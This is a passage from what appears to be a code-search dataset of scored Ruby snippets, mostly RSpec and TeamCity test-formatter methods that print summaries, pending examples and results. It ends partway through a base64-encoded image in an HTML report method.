"text": "def dump_summary(duration, example_count, failure_count, pending_count)\r\n # Repairs stdout and stderr just in case\r\n @sout.flush\r\n @serr.flush\r\n reopen_stdout_stderr(@sout, @serr)\r\n\r\n if dry_run?\r\n totals = \"This was a dry-run\"\r\n else\r\n totals = \"#{example_count} example#{'s' unless example_count == 1}, #{failure_count} failure#{'s' unless failure_count == 1}, #{example_count - failure_count - pending_count} passed\"\r\n totals << \", #{pending_count} pending\" if pending_count > 0\r\n end\r\n\r\n close_example_group\r\n\r\n # Total statistic\r\n debug_log(totals)\r\n log_one(Rake::TeamCity::MessageFactory.create_message(totals))\r\n\r\n # Time statistic from Spec Runner\r\n status_message = \"Finished in #{duration} seconds\"\r\n debug_log(status_message)\r\n log_one(Rake::TeamCity::MessageFactory.create_progress_message(status_message))\r\n\r\n #TODO Really must be '@example_count == example_count', it is hack for spec trunk tests\r\n unless @example_count <= example_count\r\n msg = RUNNER_ISNT_COMPATIBLE_MESSAGE + \"Error: Not all examples have been run! (#{example_count} of #{@example_count})\"\r\n\r\n log_and_raise_internal_error msg\r\n debug_log(msg)\r\n end\r\n\r\n unless @@RUNNING_EXAMPLES_STORAGE.empty?\r\n # unfinished examples statistics\r\n msg = RUNNER_ISNT_COMPATIBLE_MESSAGE + \"Following examples weren't finished:\"\r\n count = 1\r\n @@RUNNING_EXAMPLES_STORAGE.each { |key, value|\r\n msg << \"\\n #{count}. Example : '#{value.full_name}'\"\r\n sout_str, serr_str = get_redirected_stdout_stderr_from_files(value.stdout_file_new, value.stderr_file_new)\r\n unless sout_str.empty?\r\n msg << \"\\n[Example Output]:\\n#{sout_str}\"\r\n end\r\n unless serr_str.empty?\r\n msg << \"\\n[Example Error Output]:\\n#{serr_str}\"\r\n end\r\n \r\n count += 1\r\n }\r\n log_and_raise_internal_error msg\r\n end\r\n\r\n # close xml-rpc connection\r\n debug_log(\"Closing dispatcher.. Manual start=[#{@manual_start}]\")\r\n @msg_dispatcher.stop_dispatcher if @manual_start\r\n end",
"title": ""
},
{
"docid": "2f554800b1a4f9d5bcfbcd593bae109e",
"score": "0.6282093",
"text": "def dump_summary(duration, example, failure, pending)\n end",
"title": ""
},
{
"docid": "1e7c43ff9d95594fa1a9b2a3a55711e4",
"score": "0.62677604",
"text": "def immediately_dump_pending(desc, msg, called_from)\n erase_current_line\n output.puts yellow(\"PENDING SPEC:\") + \" #{desc} (#{msg})\"\n output.puts \" Called from #{called_from}\" if called_from\n end",
"title": ""
},
{
"docid": "e94af672376b4b52eb25d686803c230c",
"score": "0.6236434",
"text": "def spec_pending(message, options = {})\n Compat::UI.info(color(message, ';33'), options)\n end",
"title": ""
},
{
"docid": "f54cd3e5309cac1da82accdcd534be48",
"score": "0.62298363",
"text": "def success(further_information)\n puts green_bold(\" #{@success}\")\n puts further_information if @verbose and further_information != \"\"\n end",
"title": ""
},
{
"docid": "337038ae18eb9ebced3b93771674e5d2",
"score": "0.6190883",
"text": "def example_passed(passed)\n super\n puts_example(passed)\n end",
"title": ""
},
{
"docid": "0f45f630da7d28d1486376cfb4d476f9",
"score": "0.6173729",
"text": "def example_pending_3args(example_group_desc, example, message)\r\n debug_log(\"pending: #{example_group_desc}, #{example.description}, #{message}, #{example}\")\r\n\r\n # stop capturing\r\n stop_capture_output_and_log_it(example)\r\n\r\n if example_group_desc\r\n #Old API, 1.1.3\r\n assert_example_group_valid(example_group_desc)\r\n end\r\n\r\n # example service data\r\n example_data = @@RUNNING_EXAMPLES_STORAGE[example]\r\n additional_flowid_suffix = example_data.additional_flowid_suffix\r\n running_example_full_name = example_data.full_name\r\n \r\n debug_log(\"Example pending... [#{@example_group_desc}].[#{running_example_full_name}] - #{message}, additional flowid suffix=[#{additional_flowid_suffix}]\")\r\n log_one(Rake::TeamCity::MessageFactory.create_test_ignored_message(message, running_example_full_name,additional_flowid_suffix))\r\n\r\n close_test_block(example)\r\n end",
"title": ""
},
{
"docid": "c089f6bbaf5dc472bcf1156fc4e76eb8",
"score": "0.60913956",
"text": "def example_progress_dump\n $stdout.puts if @write_to_file\n end",
"title": ""
},
{
"docid": "3ec7b96893afced1ee3e12fcda7e00ed",
"score": "0.6065404",
"text": "def example_finished(example_notification)\n example = example_notification.example\n\n add_quarantine_issue_link(example)\n add_failure_issues_link(example)\n add_ci_job_link(example)\n set_flaky_status(example)\n end",
"title": ""
},
{
"docid": "2efc42a4d0a2da5a69b3ec749f29cc7e",
"score": "0.605258",
"text": "def example_pending_3args(example_group_desc, example, message)\n if rspec_2? || rspec_1_2_0?\n # Due to regression in rspec 1_2_0 we had to report event here\n report_example_started(example)\n end\n\n debug_log(\"pending: #{example_group_desc}, #{example_description(example)}, #{message}, #{example}\")\n\n # stop capturing\n stop_capture_output_and_log_it(example)\n\n if example_group_desc\n #Old API, <= 1.1.3\n assert_example_group_valid(example_group_desc)\n end\n\n # example service data\n example_data = get_data_from_storage(example)\n parent_group_data = peek_groups_stack\n\n debug_log(\"Example pending... [#{parent_group_data}].[#{example_data}] - #{message}\")\n log(@message_factory.create_test_ignored(example_data.full_name, \"Pending: #{message}\", nil, example_data.id))\n\n close_test_block(example)\n end",
"title": ""
},
{
"docid": "72f373f6c3f7ca1b52211d966003089a",
"score": "0.6034398",
"text": "def after_run(success)\n error_summary unless success\n out.puts \"\"\n run_summary\n end",
"title": ""
},
{
"docid": "72f373f6c3f7ca1b52211d966003089a",
"score": "0.6034398",
"text": "def after_run(success)\n error_summary unless success\n out.puts \"\"\n run_summary\n end",
"title": ""
},
{
"docid": "fdd21ac8d84e666828a343b1d182e1f2",
"score": "0.6028564",
"text": "def dump_summary(*args)\n @output.print 'TEST_COMPLETED'\n @output.flush\n end",
"title": ""
},
{
"docid": "6ecbfd7d67437912c40e71aed8a38c6d",
"score": "0.60227036",
"text": "def example_started(name)\n end",
"title": ""
},
{
"docid": "d2eb75f27453b51ba8710837f7da9d44",
"score": "0.5995172",
"text": "def testing_end\n @output.write \"\\nHydra Completed\\n\"\n end",
"title": ""
},
{
"docid": "08b4709653f67be1c2b1bf86546c7bbf",
"score": "0.5993929",
"text": "def example_passed(notification)\n super unless notification.example.metadata[:with_steps]\n\n # For reporter\n @group_example_success_count += 1\n @examples << Example.new(notification.example)\n end",
"title": ""
},
{
"docid": "ca19969764e09337d2b991ae56a27ede",
"score": "0.59794617",
"text": "def dump_summary notification\n \texport_results unless @export_results.empty?\n\n @output << \"\\n\\n Found #{@export_results.length} examples\"\n\t\t@output << \"\\n\\nFinished in #{RSpec::Core::Formatters::Helpers.format_duration(notification.duration)}.\"\n end",
"title": ""
},
{
"docid": "1933a1912f1ddf780873968236186ef4",
"score": "0.59782124",
"text": "def it(description, &block)\n begin\n # We're adding stdout.write instead of puts because this way it stays on the same line. We can add things to this line later!\n $stdout.write \" - #{description}\"\n block.call\n puts \" #{GREEN}(ok)#{RESET}\"\n rescue => e\n puts \" #{RED}(fail)#{RESET}\"\n puts e\n puts e.backtrace\n end\nend",
"title": ""
},
{
"docid": "1876f6b80d6f2410e5ac67a51fa396a4",
"score": "0.59672946",
"text": "def print_if_done\n if @done == true && @title.class == String && @description.class == String\n \"#{@title}: #{@description}: Done\"\n else\n \"This task is incomplete dummy\"\n end\n end",
"title": ""
},
{
"docid": "f1b00dd56a42784e123f2c878286ca37",
"score": "0.59671533",
"text": "def print_result\n puts\n puts \"Good job!!! You win!!!\"\n end",
"title": ""
},
{
"docid": "f1b00dd56a42784e123f2c878286ca37",
"score": "0.59671533",
"text": "def print_result\n puts\n puts \"Good job!!! You win!!!\"\n end",
"title": ""
},
{
"docid": "811a610c08cb9310d49a7666943917d3",
"score": "0.5955016",
"text": "def display_result\n puts \"\n \n \"\n puts \"#{self.current_job.description}\n \"\n end",
"title": ""
},
{
"docid": "def5db47ae57307925cb38de34129d2d",
"score": "0.59522074",
"text": "def example_passed(example)\n super(example)\n @examples_with_execution_time << [\n example.description,\n example.metadata[:execution_result][:run_time], # this is the time taken to execute the example\n format_caller(example.location) # relative path to the example file\n ]\n end",
"title": ""
},
{
"docid": "9b5c9ac2d9478556b6e10c2dabf6f1ca",
"score": "0.5944073",
"text": "def it(description, &block)\n begin\n # We're adding stdout.write instead of puts because this way it stays on the same line. We can add things to this line later!\n $stdout.write \" - #{description}\"\n block.call\n puts \" #{GREEN}(ok)#{RESET}\"\n rescue => e\n puts \" #{RED}(fail)#{RESET}\"\n # puts [\"#{RED}Backtrace:#{RESET}\",e.backtrace.reverse, e]\n e.backtrace.reverse.each do |line|\n puts \"\\t\" + line\n end\n puts \"\\t#{RED}#{e}#{RESET}\"\n end\nend",
"title": ""
},
{
"docid": "7597db1dd7a73438a4ae66b2c9a0706c",
"score": "0.59434974",
"text": "def pending(description = \"\", &block)\n if block_given?\n failed = false\n\n begin\n block.call\n rescue\n failed = true\n end\n\n flunk(\"<#{description}> did not fail.\") unless failed\n end\n\n caller[0] =~ (/(.*):(.*):in `(.*)'/)\n @@pending_cases << \"#{$3} at #{$1}, line #{$2}\"\n print \"P\"\n\n @@at_exit ||= begin\n at_exit do\n puts \"\\nPending Cases:\"\n @@pending_cases.each do |test_case|\n puts test_case\n end\n end\n end\n end",
"title": ""
},
{
"docid": "5544dd9df3a71cc1e16f59fb14051f5c",
"score": "0.59402364",
"text": "def example_pending(*args)\r\n method_arity = args.length\r\n if method_arity == 2\r\n # rev. #3305 changes\r\n example_group_desc, example, message = nil, *args\r\n elsif method_arity == 3\r\n # old API\r\n example_group_desc, example, message = args\r\n else\r\n log_and_raise_internal_error RUNNER_ISNT_COMPATIBLE_MESSAGE + \"BaseFormatter.example_pendin arity = #{method_arity}.\", true\r\n end\r\n example_pending_3args(example_group_desc, example, message)\r\n end",
"title": ""
},
{
"docid": "41ce496727b875012451a2c8ea4764f8",
"score": "0.59144366",
"text": "def store_pending_examples_summary(notification)\n return if notification.pending_examples.empty?\n\n @pending_examples = notification.fully_formatted_pending_examples\n end",
"title": ""
},
{
"docid": "7ae616d5ffbf63a8f3c2039c99e1e667",
"score": "0.5886267",
"text": "def output_examples_total\n count = {\n :total => 0,\n :failed => 0,\n :pending => 0,\n }\n task_list.each do |task|\n next unless task.is_a? Noop::Task\n next unless task.has_report?\n task.report['examples'].each do |example|\n count[:total] += 1\n if example['status'] == 'failed'\n count[:failed] += 1\n elsif example['status'] == 'pending'\n count[:pending] += 1\n end\n end\n end\n output_stats_string 'Examples', count[:total], count[:failed], count[:pending]\n end",
"title": ""
},
{
"docid": "beab325d0e32694e2307a47188cf5119",
"score": "0.5871983",
"text": "def example_group_started(notification)\n super(notification)\n doc = {\n 'type' => 'case',\n 'subtype' => 'describe',\n 'label' => \"#{notification.group.description}\",\n 'level' => @example_group_stack.size\n }\n output.emit(doc)\n @trace.emit_begin('rspec describe', 'args' => doc)\n\n @example_count_stack << @example_count\n @example_group_stack << example_group\n end",
"title": ""
},
{
"docid": "52f87a2102d9d04f9398347dbbed47f9",
"score": "0.58636314",
"text": "def start_output\n return if @bailed_out\n\n @output.puts('TAP version 13')\n end",
"title": ""
},
{
"docid": "8bd32de35d062dd0e9f68ee26a48a0ce",
"score": "0.5837071",
"text": "def test_view_todos_prints_completed_header\n todo_setup # Given\n @todo.view_todos # When\n assert($output.include?(\"Completed\"), \"'Completed' was not printed\") # Then\n end",
"title": ""
},
{
"docid": "07e4322ca283facf09efbe40789b7a08",
"score": "0.5831858",
"text": "def print o\n case o\n when \".\"\n tick(PASS)\n when \"E\"\n @failed_examples << ERROR\n tick(ERROR)\n when \"F\"\n @failed_examples << ERROR\n tick(FAIL)\n when \"S\"\n @pending_examples << PENDING\n tick(PENDING)\n end\n end",
"title": ""
},
{
"docid": "9b33b4fe556bfd290176d6e80301cc12",
"score": "0.5831059",
"text": "def example_failed(failed_example_notification)\n # example.metadata[:full_description] += ' - added description 2!'\n # prints an 'F' to stdout\n super\n end",
"title": ""
},
{
"docid": "5b109f9a931a8244271240a9f616a354",
"score": "0.5830946",
"text": "def example_group_started(example_group)\n super(example_group)\n @output.puts \"#{section_markup example_group} #{example_group.description}\"\n @output.flush\n @group_level += 1\n end",
"title": ""
},
{
"docid": "c85190008ecf034f3bfe52bfad5e4973",
"score": "0.5823064",
"text": "def print_results\n @output.each do |msg|\n say msg \n end\n end",
"title": ""
},
{
"docid": "fd2659cfebcb1fc9493db2df511a83d4",
"score": "0.58209324",
"text": "def run(thing)\n pp thing\n end",
"title": ""
},
{
"docid": "06b90e861cb36274c6c39f2b92929d4c",
"score": "0.5820382",
"text": "def print_result\n puts\n puts \"You failed!!!\"\n end",
"title": ""
},
{
"docid": "06b90e861cb36274c6c39f2b92929d4c",
"score": "0.5820382",
"text": "def print_result\n puts\n puts \"You failed!!!\"\n end",
"title": ""
},
{
"docid": "fb1f9e831da509e09f962c8ca2285563",
"score": "0.5818735",
"text": "def display\n print_result case\n when @test.errored then 'E'.yellow\n when @test.passed then '.'.green\n when @test.failed then 'F'.red\n end\n end",
"title": ""
},
{
"docid": "ab9038a006c19f35dbbce437352347de",
"score": "0.5808627",
"text": "def _announce_step step\n puts \"\\n**** #{step}\"\nend",
"title": ""
},
{
"docid": "e389198c8d19f811b2a99d6d37366263",
"score": "0.5805247",
"text": "def print_status\n # check to see if the task is done\n if @done == true\n # print 'title is complete'\n print @title.to_s + ' is complete'\n # returns 'title is complete'\n @title.to_s + ' is complete'\n else\n # print 'title is in progress'\n print @title.to_s + ' is in progress'\n # returns 'title is in progress'\n @title.to_s + ' is in progress'\n end\n end",
"title": ""
},
{
"docid": "c4e05dee7dc08e9954d4b93ae252744f",
"score": "0.58048856",
"text": "def example_started(example)\n # Due to rspec 2.1.0 regression\n return if rspec_2? || rspec_1_2_0?\n\n # Rspec < 2.1.0\n report_example_started(example)\n end",
"title": ""
},
{
"docid": "1b220ec6f27fadd269f0b33c817e0c5f",
"score": "0.58018625",
"text": "def print_example_failed(pending_fixed, description, run_time, failure_id,\n exception, extra_content, escape_backtrace=false,filename)\n # rubocop:enable Style/ParameterLists\n formatted_run_time = \"%.5f\" % run_time\n\n @output.puts \" <dd class=\\\"example #{pending_fixed ? 'pending_fixed' : 'failed'}\\\">\"\n @output.puts \" <span class=\\\"failed_spec_name\\\">#{h(description)}</span>\"\n @output.puts \" <span class=\\\"duration\\\">#{formatted_run_time}s</span>\"\n if !filename.nil? \n @output.puts \" <span class='screenshoot' style=\\\"text-align=right;float:right\\\"><img onclick='showScreen(\\\"#{filename}\\\")' style=\\\"width:10px\\\" src='data:image/png;base64,\n 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